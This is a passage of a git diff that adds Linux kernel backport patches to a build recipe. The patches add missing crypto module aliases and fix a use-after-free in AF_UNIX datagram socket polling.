+- name); ++ return try_then_request_module(__crypto_lookup_template(name), ++ "crypto-%s", name); + } + EXPORT_SYMBOL_GPL(crypto_lookup_template); + +diff --git a/crypto/authenc.c b/crypto/authenc.c +index 528b00bc47699..a2cfae251dd51 100644 +--- a/crypto/authenc.c ++++ b/crypto/authenc.c +@@ -709,3 +709,4 @@ module_exit(crypto_authenc_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Simple AEAD wrapper for IPsec"); ++MODULE_ALIAS_CRYPTO("authenc"); +diff --git a/crypto/authencesn.c b/crypto/authencesn.c +index ab53762fc309c..16c225cb28c26 100644 +--- a/crypto/authencesn.c ++++ b/crypto/authencesn.c +@@ -832,3 +832,4 @@ module_exit(crypto_authenc_esn_module_exit); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Steffen Klassert "); + MODULE_DESCRIPTION("AEAD wrapper for IPsec with extended sequence numbers"); ++MODULE_ALIAS_CRYPTO("authencesn"); +diff --git a/crypto/cbc.c b/crypto/cbc.c +index 61ac42e1e32bb..780ee27b2d43d 100644 +--- a/crypto/cbc.c ++++ b/crypto/cbc.c +@@ -289,3 +289,4 @@ module_exit(crypto_cbc_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("CBC block cipher algorithm"); ++MODULE_ALIAS_CRYPTO("cbc"); +diff --git a/crypto/ccm.c b/crypto/ccm.c +index 389670d4ab757..c569c9c6afe32 100644 +--- a/crypto/ccm.c ++++ b/crypto/ccm.c +@@ -881,3 +881,4 @@ MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Counter with CBC MAC"); + MODULE_ALIAS_CRYPTO("ccm_base"); + MODULE_ALIAS_CRYPTO("rfc4309"); ++MODULE_ALIAS_CRYPTO("ccm"); +diff --git a/crypto/chainiv.c b/crypto/chainiv.c +index 834d8dd3d4fc7..22b7e55b0e1b1 100644 +--- a/crypto/chainiv.c ++++ b/crypto/chainiv.c +@@ -359,3 +359,4 @@ module_exit(chainiv_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Chain IV Generator"); ++MODULE_ALIAS_CRYPTO("chainiv"); +diff --git a/crypto/cmac.c b/crypto/cmac.c +index 50880cf17fad7..7a8bfbd548f60 100644 +--- a/crypto/cmac.c ++++ b/crypto/cmac.c +@@ -313,3 +313,4 @@ module_exit(crypto_cmac_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("CMAC keyed hash algorithm"); ++MODULE_ALIAS_CRYPTO("cmac"); +diff --git a/crypto/cryptd.c b/crypto/cryptd.c +index 7bdd61b867c89..75c415d370869 100644 +--- a/crypto/cryptd.c ++++ b/crypto/cryptd.c +@@ -955,3 +955,4 @@ module_exit(cryptd_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Software async crypto daemon"); ++MODULE_ALIAS_CRYPTO("cryptd"); +diff --git a/crypto/ctr.c b/crypto/ctr.c +index 3d81ff7e6b489..2386f73139520 100644 +--- a/crypto/ctr.c ++++ b/crypto/ctr.c +@@ -467,3 +467,4 @@ module_exit(crypto_ctr_module_exit); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("CTR Counter block mode"); + MODULE_ALIAS_CRYPTO("rfc3686"); ++MODULE_ALIAS_CRYPTO("ctr"); +diff --git a/crypto/cts.c b/crypto/cts.c +index 042223f8e7336..60b9da3fa7c1c 100644 +--- a/crypto/cts.c ++++ b/crypto/cts.c +@@ -350,3 +350,4 @@ module_exit(crypto_cts_module_exit); + + MODULE_LICENSE("Dual BSD/GPL"); + MODULE_DESCRIPTION("CTS-CBC CipherText Stealing for CBC"); ++MODULE_ALIAS_CRYPTO("cts"); +diff --git a/crypto/ecb.c b/crypto/ecb.c +index 935cfef4aa847..12011aff09713 100644 +--- a/crypto/ecb.c ++++ b/crypto/ecb.c +@@ -185,3 +185,4 @@ module_exit(crypto_ecb_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("ECB block cipher algorithm"); ++MODULE_ALIAS_CRYPTO("ecb"); +diff --git a/crypto/eseqiv.c b/crypto/eseqiv.c +index 42ce9f570aecc..388f582ab0b94 100644 +--- a/crypto/eseqiv.c ++++ b/crypto/eseqiv.c +@@ -267,3 +267,4 @@ module_exit(eseqiv_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Encrypted Sequence Number IV Generator"); ++MODULE_ALIAS_CRYPTO("eseqiv"); +diff --git a/crypto/gcm.c b/crypto/gcm.c +index 8dbd80f5fb0c8..b4c252066f7bf 100644 +--- a/crypto/gcm.c ++++ b/crypto/gcm.c +@@ -1444,3 +1444,4 @@ MODULE_AUTHOR("Mikko Herranen "); + MODULE_ALIAS_CRYPTO("gcm_base"); + MODULE_ALIAS_CRYPTO("rfc4106"); + MODULE_ALIAS_CRYPTO("rfc4543"); ++MODULE_ALIAS_CRYPTO("gcm"); +diff --git a/crypto/hmac.c b/crypto/hmac.c +index 8d9544cf8169f..ade790b454e99 100644 +--- a/crypto/hmac.c ++++ b/crypto/hmac.c +@@ -271,3 +271,4 @@ module_exit(hmac_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("HMAC hash algorithm"); ++MODULE_ALIAS_CRYPTO("hmac"); +diff --git a/crypto/lrw.c b/crypto/lrw.c +index ba42acc4deba8..6f9908a7ebcbe 100644 +--- a/crypto/lrw.c ++++ b/crypto/lrw.c +@@ -400,3 +400,4 @@ module_exit(crypto_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("LRW block cipher mode"); ++MODULE_ALIAS_CRYPTO("lrw"); +diff --git a/crypto/pcbc.c b/crypto/pcbc.c +index d1b8bdfb58551..f654965f09338 100644 +--- a/crypto/pcbc.c ++++ b/crypto/pcbc.c +@@ -295,3 +295,4 @@ module_exit(crypto_pcbc_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("PCBC block cipher algorithm"); ++MODULE_ALIAS_CRYPTO("pcbc"); +diff --git a/crypto/pcrypt.c b/crypto/pcrypt.c +index b2c99dc1c5e2f..61ff946db7484 100644 +--- a/crypto/pcrypt.c ++++ b/crypto/pcrypt.c +@@ -565,3 +565,4 @@ module_exit(pcrypt_exit); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Steffen Klassert "); + MODULE_DESCRIPTION("Parallel crypto wrapper"); ++MODULE_ALIAS_CRYPTO("pcrypt"); +diff --git a/crypto/seqiv.c b/crypto/seqiv.c +index f2cba4ed6f256..49a4069ff4532 100644 +--- a/crypto/seqiv.c ++++ b/crypto/seqiv.c +@@ -362,3 +362,4 @@ module_exit(seqiv_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Sequence Number IV Generator"); ++MODULE_ALIAS_CRYPTO("seqiv"); +diff --git a/crypto/vmac.c b/crypto/vmac.c +index 2eb11a30c29ce..bf2d3a89845fb 100644 +--- a/crypto/vmac.c ++++ b/crypto/vmac.c +@@ -713,3 +713,4 @@ module_exit(vmac_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("VMAC hash algorithm"); ++MODULE_ALIAS_CRYPTO("vmac"); +diff --git a/crypto/xcbc.c b/crypto/xcbc.c +index a5fbdf3738cfd..df90b332554cf 100644 +--- a/crypto/xcbc.c ++++ b/crypto/xcbc.c +@@ -286,3 +286,4 @@ module_exit(crypto_xcbc_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("XCBC keyed hash algorithm"); ++MODULE_ALIAS_CRYPTO("xcbc"); +diff --git a/crypto/xts.c b/crypto/xts.c +index ca1608f44cb56..f6fd43f100c8c 100644 +--- a/crypto/xts.c ++++ b/crypto/xts.c +@@ -362,3 +362,4 @@ module_exit(crypto_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("XTS block cipher mode"); ++MODULE_ALIAS_CRYPTO("xts"); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0037-a659ea97f776-crypto add missing crypto module aliases.patch b/recipes-kernel/linux/linux-bass/autopatcher/0037-a659ea97f776-crypto add missing crypto module aliases.patch new file mode 100644 index 0000000..394237f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0037-a659ea97f776-crypto add missing crypto module aliases.patch @@ -0,0 +1,248 @@ +From a659ea97f77630a07aa9d6a64d4d2b56e6949371 Mon Sep 17 00:00:00 2001 +From: Mathias Krause +Date: Sun, 11 Jan 2015 18:17:42 +0100 +Subject: crypto: add missing crypto module aliases + +commit 3e14dcf7cb80b34a1f38b55bc96f02d23fdaaaaf upstream. + +Commit 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") +changed the automatic module loading when requesting crypto algorithms +to prefix all module requests with "crypto-". This requires all crypto +modules to have a crypto specific module alias even if their file name +would otherwise match the requested crypto algorithm. + +Even though commit 5d26a105b5a7 added those aliases for a vast amount of +modules, it was missing a few. Add the required MODULE_ALIAS_CRYPTO +annotations to those files to make them get loaded automatically, again. +This fixes, e.g., requesting 'ecb(blowfish-generic)', which used to work +with kernels v3.18 and below. + +Also change MODULE_ALIAS() lines to MODULE_ALIAS_CRYPTO(). The former +won't work for crypto modules any more. + +Fixes: 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") +Cc: Kees Cook +Signed-off-by: Mathias Krause +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + arch/powerpc/crypto/sha1.c | 1 + + crypto/aes_generic.c | 1 + + crypto/ansi_cprng.c | 1 + + crypto/blowfish_generic.c | 1 + + crypto/camellia_generic.c | 1 + + crypto/cast5_generic.c | 1 + + crypto/cast6_generic.c | 1 + + crypto/des_generic.c | 5 +++-- + crypto/ghash-generic.c | 1 + + crypto/krng.c | 1 + + crypto/salsa20_generic.c | 1 + + crypto/serpent_generic.c | 1 + + crypto/sha1_generic.c | 1 + + crypto/sha256_generic.c | 2 ++ + crypto/sha512_generic.c | 2 ++ + crypto/tea.c | 1 + + crypto/tgr192.c | 1 + + crypto/twofish_generic.c | 1 + + crypto/wp512.c | 1 + + 19 files changed, 23 insertions(+), 2 deletions(-) + +diff --git a/arch/powerpc/crypto/sha1.c b/arch/powerpc/crypto/sha1.c +index 0f88c7b411196..b51da91327440 100644 +--- a/arch/powerpc/crypto/sha1.c ++++ b/arch/powerpc/crypto/sha1.c +@@ -154,4 +154,5 @@ module_exit(sha1_powerpc_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); + ++MODULE_ALIAS_CRYPTO("sha1"); + MODULE_ALIAS_CRYPTO("sha1-powerpc"); +diff --git a/crypto/aes_generic.c b/crypto/aes_generic.c +index 96b453a5b546e..e138ad85bd834 100644 +--- a/crypto/aes_generic.c ++++ b/crypto/aes_generic.c +@@ -1475,3 +1475,4 @@ module_exit(aes_fini); + MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm"); + MODULE_LICENSE("Dual BSD/GPL"); + MODULE_ALIAS_CRYPTO("aes"); ++MODULE_ALIAS_CRYPTO("aes-generic"); +diff --git a/crypto/ansi_cprng.c b/crypto/ansi_cprng.c +index b4485a108389a..6f5bebc9bf01e 100644 +--- a/crypto/ansi_cprng.c ++++ b/crypto/ansi_cprng.c +@@ -477,3 +477,4 @@ MODULE_PARM_DESC(dbg, "Boolean to enable debugging (0/1 == off/on)"); + module_init(prng_mod_init); + module_exit(prng_mod_fini); + MODULE_ALIAS_CRYPTO("stdrng"); ++MODULE_ALIAS_CRYPTO("ansi_cprng"); +diff --git a/crypto/blowfish_generic.c b/crypto/blowfish_generic.c +index 7bd71f02d0dde..87b392a77a939 100644 +--- a/crypto/blowfish_generic.c ++++ b/crypto/blowfish_generic.c +@@ -139,3 +139,4 @@ module_exit(blowfish_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Blowfish Cipher Algorithm"); + MODULE_ALIAS_CRYPTO("blowfish"); ++MODULE_ALIAS_CRYPTO("blowfish-generic"); +diff --git a/crypto/camellia_generic.c b/crypto/camellia_generic.c +index 7bb234eaf5f88..029587f808f47 100644 +--- a/crypto/camellia_generic.c ++++ b/crypto/camellia_generic.c +@@ -1099,3 +1099,4 @@ module_exit(camellia_fini); + MODULE_DESCRIPTION("Camellia Cipher Algorithm"); + MODULE_LICENSE("GPL"); + MODULE_ALIAS_CRYPTO("camellia"); ++MODULE_ALIAS_CRYPTO("camellia-generic"); +diff --git a/crypto/cast5_generic.c b/crypto/cast5_generic.c +index 84c86db67ec7a..df5c72629383d 100644 +--- a/crypto/cast5_generic.c ++++ b/crypto/cast5_generic.c +@@ -550,3 +550,4 @@ module_exit(cast5_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Cast5 Cipher Algorithm"); + MODULE_ALIAS_CRYPTO("cast5"); ++MODULE_ALIAS_CRYPTO("cast5-generic"); +diff --git a/crypto/cast6_generic.c b/crypto/cast6_generic.c +index f408f0bd8de25..058c8d755d036 100644 +--- a/crypto/cast6_generic.c ++++ b/crypto/cast6_generic.c +@@ -292,3 +292,4 @@ module_exit(cast6_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Cast6 Cipher Algorithm"); + MODULE_ALIAS_CRYPTO("cast6"); ++MODULE_ALIAS_CRYPTO("cast6-generic"); +diff --git a/crypto/des_generic.c b/crypto/des_generic.c +index 5ec5ed544149a..3ec6071309d96 100644 +--- a/crypto/des_generic.c ++++ b/crypto/des_generic.c +@@ -971,8 +971,6 @@ static struct crypto_alg des_algs[2] = { { + .cia_decrypt = des3_ede_decrypt } } + } }; + +-MODULE_ALIAS_CRYPTO("des3_ede"); +- + static int __init des_generic_mod_init(void) + { + return crypto_register_algs(des_algs, ARRAY_SIZE(des_algs)); +@@ -990,3 +988,6 @@ MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("DES & Triple DES EDE Cipher Algorithms"); + MODULE_AUTHOR("Dag Arne Osvik "); + MODULE_ALIAS_CRYPTO("des"); ++MODULE_ALIAS_CRYPTO("des-generic"); ++MODULE_ALIAS_CRYPTO("des3_ede"); ++MODULE_ALIAS_CRYPTO("des3_ede-generic"); +diff --git a/crypto/ghash-generic.c b/crypto/ghash-generic.c +index 4e97fae9666f6..bac70995e0640 100644 +--- a/crypto/ghash-generic.c ++++ b/crypto/ghash-generic.c +@@ -173,3 +173,4 @@ module_exit(ghash_mod_exit); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("GHASH Message Digest Algorithm"); + MODULE_ALIAS_CRYPTO("ghash"); ++MODULE_ALIAS_CRYPTO("ghash-generic"); +diff --git a/crypto/krng.c b/crypto/krng.c +index 67c88b3312107..0224841b6579a 100644 +--- a/crypto/krng.c ++++ b/crypto/krng.c +@@ -63,3 +63,4 @@ module_exit(krng_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Kernel Random Number Generator"); + MODULE_ALIAS_CRYPTO("stdrng"); ++MODULE_ALIAS_CRYPTO("krng"); +diff --git a/crypto/salsa20_generic.c b/crypto/salsa20_generic.c +index 3d0f9df30ac9f..f550b5d946307 100644 +--- a/crypto/salsa20_generic.c ++++ b/crypto/salsa20_generic.c +@@ -249,3 +249,4 @@ module_exit(salsa20_generic_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION ("Salsa20 stream cipher algorithm"); + MODULE_ALIAS_CRYPTO("salsa20"); ++MODULE_ALIAS_CRYPTO("salsa20-generic"); +diff --git a/crypto/serpent_generic.c b/crypto/serpent_generic.c +index a53b5e2af335c..94970a794975a 100644 +--- a/crypto/serpent_generic.c ++++ b/crypto/serpent_generic.c +@@ -667,3 +667,4 @@ MODULE_DESCRIPTION("Serpent and tnepres (kerneli compatible serpent reversed) Ci + MODULE_AUTHOR("Dag Arne Osvik "); + MODULE_ALIAS_CRYPTO("tnepres"); + MODULE_ALIAS_CRYPTO("serpent"); ++MODULE_ALIAS_CRYPTO("serpent-generic"); +diff --git a/crypto/sha1_generic.c b/crypto/sha1_generic.c +index 76d300fe968fb..fdf7c00de4b0d 100644 +--- a/crypto/sha1_generic.c ++++ b/crypto/sha1_generic.c +@@ -154,3 +154,4 @@ MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); + + MODULE_ALIAS_CRYPTO("sha1"); ++MODULE_ALIAS_CRYPTO("sha1-generic"); +diff --git a/crypto/sha256_generic.c b/crypto/sha256_generic.c +index 8d7811a0031c1..136381bdd48d2 100644 +--- a/crypto/sha256_generic.c ++++ b/crypto/sha256_generic.c +@@ -385,4 +385,6 @@ MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA-224 and SHA-256 Secure Hash Algorithm"); + + MODULE_ALIAS_CRYPTO("sha224"); ++MODULE_ALIAS_CRYPTO("sha224-generic"); + MODULE_ALIAS_CRYPTO("sha256"); ++MODULE_ALIAS_CRYPTO("sha256-generic"); +diff --git a/crypto/sha512_generic.c b/crypto/sha512_generic.c +index 93e5ed8090db0..fb2d7b8f163fc 100644 +--- a/crypto/sha512_generic.c ++++ b/crypto/sha512_generic.c +@@ -286,4 +286,6 @@ MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA-512 and SHA-384 Secure Hash Algorithms"); + + MODULE_ALIAS_CRYPTO("sha384"); ++MODULE_ALIAS_CRYPTO("sha384-generic"); + MODULE_ALIAS_CRYPTO("sha512"); ++MODULE_ALIAS_CRYPTO("sha512-generic"); +diff --git a/crypto/tea.c b/crypto/tea.c +index 495be2d0077d4..b70b441c7d1e7 100644 +--- a/crypto/tea.c ++++ b/crypto/tea.c +@@ -270,6 +270,7 @@ static void __exit tea_mod_fini(void) + crypto_unregister_algs(tea_algs, ARRAY_SIZE(tea_algs)); + } + ++MODULE_ALIAS_CRYPTO("tea"); + MODULE_ALIAS_CRYPTO("xtea"); + MODULE_ALIAS_CRYPTO("xeta"); + +diff --git a/crypto/tgr192.c b/crypto/tgr192.c +index 5a5333f166eaf..f7ed2fba396c8 100644 +--- a/crypto/tgr192.c ++++ b/crypto/tgr192.c +@@ -676,6 +676,7 @@ static void __exit tgr192_mod_fini(void) + crypto_unregister_shashes(tgr_algs, ARRAY_SIZE(tgr_algs)); + } + ++MODULE_ALIAS_CRYPTO("tgr192"); + MODULE_ALIAS_CRYPTO("tgr160"); + MODULE_ALIAS_CRYPTO("tgr128"); + +diff --git a/crypto/twofish_generic.c b/crypto/twofish_generic.c +index 523ad8c4e3591..ebf7a3efb5727 100644 +--- a/crypto/twofish_generic.c ++++ b/crypto/twofish_generic.c +@@ -212,3 +212,4 @@ module_exit(twofish_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION ("Twofish Cipher Algorithm"); + MODULE_ALIAS_CRYPTO("twofish"); ++MODULE_ALIAS_CRYPTO("twofish-generic"); +diff --git a/crypto/wp512.c b/crypto/wp512.c +index 8d4076417e871..253db94b54799 100644 +--- a/crypto/wp512.c ++++ b/crypto/wp512.c +@@ -1167,6 +1167,7 @@ static void __exit wp512_mod_fini(void) + crypto_unregister_shashes(wp_algs, ARRAY_SIZE(wp_algs)); + } + ++MODULE_ALIAS_CRYPTO("wp512"); + MODULE_ALIAS_CRYPTO("wp384"); + MODULE_ALIAS_CRYPTO("wp256"); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0038-da8db0830a2c-unix avoid useafterfree in epremovewaitqueue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0038-da8db0830a2c-unix avoid useafterfree in epremovewaitqueue.patch new file mode 100644 index 0000000..00fac45 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0038-da8db0830a2c-unix avoid useafterfree in epremovewaitqueue.patch @@ -0,0 +1,334 @@ +From da8db0830a2ce63f628150307a01a315f5081202 Mon Sep 17 00:00:00 2001 +From: Rainer Weikusat +Date: Fri, 20 Nov 2015 22:07:23 +0000 +Subject: unix: avoid use-after-free in ep_remove_wait_queue + +[ Upstream commit 7d267278a9ece963d77eefec61630223fce08c6c ] + +Rainer Weikusat writes: +An AF_UNIX datagram socket being the client in an n:1 association with +some server socket is only allowed to send messages to the server if the +receive queue of this socket contains at most sk_max_ack_backlog +datagrams. This implies that prospective writers might be forced to go +to sleep despite none of the message presently enqueued on the server +receive queue were sent by them. In order to ensure that these will be +woken up once space becomes again available, the present unix_dgram_poll +routine does a second sock_poll_wait call with the peer_wait wait queue +of the server socket as queue argument (unix_dgram_recvmsg does a wake +up on this queue after a datagram was received). This is inherently +problematic because the server socket is only guaranteed to remain alive +for as long as the client still holds a reference to it. In case the +connection is dissolved via connect or by the dead peer detection logic +in unix_dgram_sendmsg, the server socket may be freed despite "the +polling mechanism" (in particular, epoll) still has a pointer to the +corresponding peer_wait queue. There's no way to forcibly deregister a +wait queue with epoll. + +Based on an idea by Jason Baron, the patch below changes the code such +that a wait_queue_t belonging to the client socket is enqueued on the +peer_wait queue of the server whenever the peer receive queue full +condition is detected by either a sendmsg or a poll. A wake up on the +peer queue is then relayed to the ordinary wait queue of the client +socket via wake function. The connection to the peer wait queue is again +dissolved if either a wake up is about to be relayed or the client +socket reconnects or a dead peer is detected or the client socket is +itself closed. This enables removing the second sock_poll_wait from +unix_dgram_poll, thus avoiding the use-after-free, while still ensuring +that no blocked writer sleeps forever. + +Signed-off-by: Rainer Weikusat +Fixes: ec0d215f9420 ("af_unix: fix 'poll for write'/connected DGRAM sockets") +Reviewed-by: Jason Baron +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/net/af_unix.h | 1 + + net/unix/af_unix.c | 183 ++++++++++++++++++++++++++++++++++++++++++++------ + 2 files changed, 165 insertions(+), 19 deletions(-) + +diff --git a/include/net/af_unix.h b/include/net/af_unix.h +index e927d3e80b615..6867600245725 100644 +--- a/include/net/af_unix.h ++++ b/include/net/af_unix.h +@@ -62,6 +62,7 @@ struct unix_sock { + #define UNIX_GC_CANDIDATE 0 + #define UNIX_GC_MAYBE_CYCLE 1 + struct socket_wq peer_wq; ++ wait_queue_t peer_wake; + }; + + static inline struct unix_sock *unix_sk(struct sock *sk) +diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c +index 825c029bf0927..95291fee38aff 100644 +--- a/net/unix/af_unix.c ++++ b/net/unix/af_unix.c +@@ -313,6 +313,118 @@ found: + return s; + } + ++/* Support code for asymmetrically connected dgram sockets ++ * ++ * If a datagram socket is connected to a socket not itself connected ++ * to the first socket (eg, /dev/log), clients may only enqueue more ++ * messages if the present receive queue of the server socket is not ++ * "too large". This means there's a second writeability condition ++ * poll and sendmsg need to test. The dgram recv code will do a wake ++ * up on the peer_wait wait queue of a socket upon reception of a ++ * datagram which needs to be propagated to sleeping would-be writers ++ * since these might not have sent anything so far. This can't be ++ * accomplished via poll_wait because the lifetime of the server ++ * socket might be less than that of its clients if these break their ++ * association with it or if the server socket is closed while clients ++ * are still connected to it and there's no way to inform "a polling ++ * implementation" that it should let go of a certain wait queue ++ * ++ * In order to propagate a wake up, a wait_queue_t of the client ++ * socket is enqueued on the peer_wait queue of the server socket ++ * whose wake function does a wake_up on the ordinary client socket ++ * wait queue. This connection is established whenever a write (or ++ * poll for write) hit the flow control condition and broken when the ++ * association to the server socket is dissolved or after a wake up ++ * was relayed. ++ */ ++ ++static int unix_dgram_peer_wake_relay(wait_queue_t *q, unsigned mode, int flags, ++ void *key) ++{ ++ struct unix_sock *u; ++ wait_queue_head_t *u_sleep; ++ ++ u = container_of(q, struct unix_sock, peer_wake); ++ ++ __remove_wait_queue(&unix_sk(u->peer_wake.private)->peer_wait, ++ q); ++ u->peer_wake.private = NULL; ++ ++ /* relaying can only happen while the wq still exists */ ++ u_sleep = sk_sleep(&u->sk); ++ if (u_sleep) ++ wake_up_interruptible_poll(u_sleep, key); ++ ++ return 0; ++} ++ ++static int unix_dgram_peer_wake_connect(struct sock *sk, struct sock *other) ++{ ++ struct unix_sock *u, *u_other; ++ int rc; ++ ++ u = unix_sk(sk); ++ u_other = unix_sk(other); ++ rc = 0; ++ spin_lock(&u_other->peer_wait.lock); ++ ++ if (!u->peer_wake.private) { ++ u->peer_wake.private = other; ++ __add_wait_queue(&u_other->peer_wait, &u->peer_wake); ++ ++ rc = 1; ++ } ++ ++ spin_unlock(&u_other->peer_wait.lock); ++ return rc; ++} ++ ++static void unix_dgram_peer_wake_disconnect(struct sock *sk, ++ struct sock *other) ++{ ++ struct unix_sock *u, *u_other; ++ ++ u = unix_sk(sk); ++ u_other = unix_sk(other); ++ spin_lock(&u_other->peer_wait.lock); ++ ++ if (u->peer_wake.private == other) { ++ __remove_wait_queue(&u_other->peer_wait, &u->peer_wake); ++ u->peer_wake.private = NULL; ++ } ++ ++ spin_unlock(&u_other->peer_wait.lock); ++} ++ ++static void unix_dgram_peer_wake_disconnect_wakeup(struct sock *sk, ++ struct sock *other) ++{ ++ unix_dgram_peer_wake_disconnect(sk, other); ++ wake_up_interruptible_poll(sk_sleep(sk), ++ POLLOUT | ++ POLLWRNORM | ++ POLLWRBAND); ++} ++ ++/* preconditions: ++ * - unix_peer(sk) == other ++ * - association is stable ++ */ ++static int unix_dgram_peer_wake_me(struct sock *sk, struct sock *other) ++{ ++ int connected; ++ ++ connected = unix_dgram_peer_wake_connect(sk, other); ++ ++ if (unix_recvq_full(other)) ++ return 1; ++ ++ if (connected) ++ unix_dgram_peer_wake_disconnect(sk, other); ++ ++ return 0; ++} ++ + static inline int unix_writable(struct sock *sk) + { + return (atomic_read(&sk->sk_wmem_alloc) << 2) <= sk->sk_sndbuf; +@@ -417,6 +529,8 @@ static void unix_release_sock(struct sock *sk, int embrion) + skpair->sk_state_change(skpair); + sk_wake_async(skpair, SOCK_WAKE_WAITD, POLL_HUP); + } ++ ++ unix_dgram_peer_wake_disconnect(sk, skpair); + sock_put(skpair); /* It may now die */ + unix_peer(sk) = NULL; + } +@@ -650,6 +764,7 @@ static struct sock *unix_create1(struct net *net, struct socket *sock) + INIT_LIST_HEAD(&u->link); + mutex_init(&u->readlock); /* single task reading lock */ + init_waitqueue_head(&u->peer_wait); ++ init_waitqueue_func_entry(&u->peer_wake, unix_dgram_peer_wake_relay); + unix_insert_socket(unix_sockets_unbound(sk), sk); + out: + if (sk == NULL) +@@ -1017,6 +1132,8 @@ restart: + if (unix_peer(sk)) { + struct sock *old_peer = unix_peer(sk); + unix_peer(sk) = other; ++ unix_dgram_peer_wake_disconnect_wakeup(sk, old_peer); ++ + unix_state_double_unlock(sk, other); + + if (other != old_peer) +@@ -1456,6 +1573,7 @@ static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock, + struct scm_cookie tmp_scm; + int max_level; + int data_len = 0; ++ int sk_locked; + + if (NULL == siocb->scm) + siocb->scm = &tmp_scm; +@@ -1532,12 +1650,14 @@ restart: + goto out_free; + } + ++ sk_locked = 0; + unix_state_lock(other); ++restart_locked: + err = -EPERM; + if (!unix_may_send(sk, other)) + goto out_unlock; + +- if (sock_flag(other, SOCK_DEAD)) { ++ if (unlikely(sock_flag(other, SOCK_DEAD))) { + /* + * Check with 1003.1g - what should + * datagram error +@@ -1545,10 +1665,14 @@ restart: + unix_state_unlock(other); + sock_put(other); + ++ if (!sk_locked) ++ unix_state_lock(sk); ++ + err = 0; +- unix_state_lock(sk); + if (unix_peer(sk) == other) { + unix_peer(sk) = NULL; ++ unix_dgram_peer_wake_disconnect_wakeup(sk, other); ++ + unix_state_unlock(sk); + + unix_dgram_disconnected(sk, other); +@@ -1574,21 +1698,38 @@ restart: + goto out_unlock; + } + +- if (unix_peer(other) != sk && unix_recvq_full(other)) { +- if (!timeo) { +- err = -EAGAIN; +- goto out_unlock; ++ if (unlikely(unix_peer(other) != sk && unix_recvq_full(other))) { ++ if (timeo) { ++ timeo = unix_wait_for_peer(other, timeo); ++ ++ err = sock_intr_errno(timeo); ++ if (signal_pending(current)) ++ goto out_free; ++ ++ goto restart; + } + +- timeo = unix_wait_for_peer(other, timeo); ++ if (!sk_locked) { ++ unix_state_unlock(other); ++ unix_state_double_lock(sk, other); ++ } + +- err = sock_intr_errno(timeo); +- if (signal_pending(current)) +- goto out_free; ++ if (unix_peer(sk) != other || ++ unix_dgram_peer_wake_me(sk, other)) { ++ err = -EAGAIN; ++ sk_locked = 1; ++ goto out_unlock; ++ } + +- goto restart; ++ if (!sk_locked) { ++ sk_locked = 1; ++ goto restart_locked; ++ } + } + ++ if (unlikely(sk_locked)) ++ unix_state_unlock(sk); ++ + if (sock_flag(other, SOCK_RCVTSTAMP)) + __net_timestamp(skb); + maybe_add_creds(skb, sock, other); +@@ -1602,6 +1743,8 @@ restart: + return len; + + out_unlock: ++ if (sk_locked) ++ unix_state_unlock(sk); + unix_state_unlock(other); + out_free: + kfree_skb(skb); +@@ -2260,14 +2403,16 @@ static unsigned int unix_dgram_poll(struct file *file, struct socket *sock, + return mask; + + writable = unix_writable(sk); +- other = unix_peer_get(sk); +- if (other) { +- if (unix_peer(other) != sk) { +- sock_poll_wait(file, &unix_sk(other)->peer_wait, wait); +- if (unix_recvq_full(other)) +- writable = 0; +- } +- sock_put(other); ++ if (writable) { ++ unix_state_lock(sk); ++ ++ other = unix_peer(sk); ++ if (other && unix_peer(other) != sk && ++ unix_recvq_full(other) && ++ unix_dgram_peer_wake_me(sk, other)) ++ writable = 0; ++ ++ unix_state_unlock(sk); + } + + if (writable) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0039-5bed19c9f463-PATCH UPSTREAM afunix Guard against other sk in.patch 